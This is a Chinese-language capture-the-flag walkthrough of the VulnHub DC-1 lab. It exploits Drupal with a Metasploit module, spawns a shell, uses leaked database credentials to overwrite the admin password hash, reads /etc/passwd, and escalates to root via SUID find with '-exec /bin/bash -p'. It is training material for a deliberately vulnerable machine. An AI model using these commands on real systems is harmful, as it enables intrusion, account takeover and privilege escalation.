下载链接:https://download.vulnhub.com/dc/DC-1.zip
攻击机(kali):192.168.200.149
靶机(DC-1):192.168.200.171
信息收集:
使用netdiscover命令来发现同网段的存活主机,注意需要root权限
netdiscover -i eth0 -r 192.168.200.1/24
按ctrl+C退出扫描,发现靶机的ip,对该ip进行端口扫描
nmap -sV 192.168.200.171
渗透测试:
发现存在80端口,我们使用火狐浏览器访问该ip
使用Wappalyer插件可以看到该网站使用的是Drupal的cms
使用kali自带的msgconsole命令搜索有没有该框架的漏洞,每次运行该命令都有不同的图案哈哈。
搜索Drupal的漏洞,这里我们使用一个时间较近,排名较高的漏洞,这样漏洞利用的成功率会高一些。
漏洞利用:
使用上面编号为1的漏洞,show options用来查看攻击的详情
可以看到右边required为yes的是需要我们设置的,RHOSTS(目的主机)还没有设置,接下来我们设置该目的主机ip
set RHOSTS 192.168.200.171
设置之后直接运行,出现以下界面就说明漏洞利用成功。
反弹shell:
使用shell进行交互,使用whoami查看现在的权限,可以看到现在是普通用户。
使用python获得交互shell,提升一下观感
python -c 'import pty; pty.spawn("/bin/bash")'
使用ls查看当前目录下的文件,发现存在flag1.txt,将它打开
每一个优秀的cms需要一个配置文件,你也是。 有被鼓励到
flag给我们的提示是查看网站的配置文件,我们可以上网搜索Drupal的配置文件以及它的路径。
我们进入该路径打开该配置文件
flag2就藏在该配置文件里
翻译:暴力破解和字典攻击并不是获取访问权限的唯一方式(而且你确实需要访问权限)。 你能用这些凭据做什么?
配置文件给了数据库的库名、用户名和密码
我们可以使用他们去登录数据库
操作数据库:
mysql -udbuser -pR0ck3t
使用show databases; 查数据库
show databases;
根据上面的提示,我们使用drupaldb这个数据库
进入该数据库之后查看所有的表,可以看到存在users的表,一般这种表都存着用户名密码等敏感信息。
show tables;
查询users表内所有数据。能看到里面确实存在着用户名和密码,不过密码应该是加密后的。
select * from users;
看看其他文件夹内有没有存在用来加密的脚本。
find ~ -type f -name '*password*'
通过文件名可以判断password-hash.sh是一个能进行哈希加密的脚本
查看该脚本的内容,可以看到该脚本是用php写的,里面也有对应的用法,接下来我们就用该脚本来对我们想要修改的密码进行加密。
这里注意一点,执行脚本时最好在www路径下去输入脚本文件的绝对路径,得到加密后的密文。
将数据库中users中的passwd字段进行修改,改为我们加密后的密文
update users set pass="$S$D0pwJZBSh1wSEsd6iy0nnHnDM9POQ4zbhJjOA0tPaPnSMisc3sEs" where name="admin";
修改成功,我们回网页进行登录!
进入网站之后,随便找找就找到了flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
翻译:"特殊权限将帮助找到密码 - 但你需要执行那个命令来弄清楚如何获取shadow文件中的内容。"
看到passwd和shadow,我们下一步就是获取/etc/passwd
进入到passwd后,顺利的看到flag4,他在/home/flag4路径下,进入该路径,获取到flag4
翻译
你能使用相同的方法来找到或访问根目录下的flag吗?可能可以。但也许没那么简单。或者也许就是那么简单?
根据提示,我们进入根目录,给拒绝了,很显然,下一步就是提权
提权:
我这里是用的suid提权,查找系统上运行的所有SUID可执行文件:
看到有find,直接使用find提权
find / -exec "/bin/bash" -p \;
成功拿到root权限,进入到root目录,夺取最后的flag
拿下!!!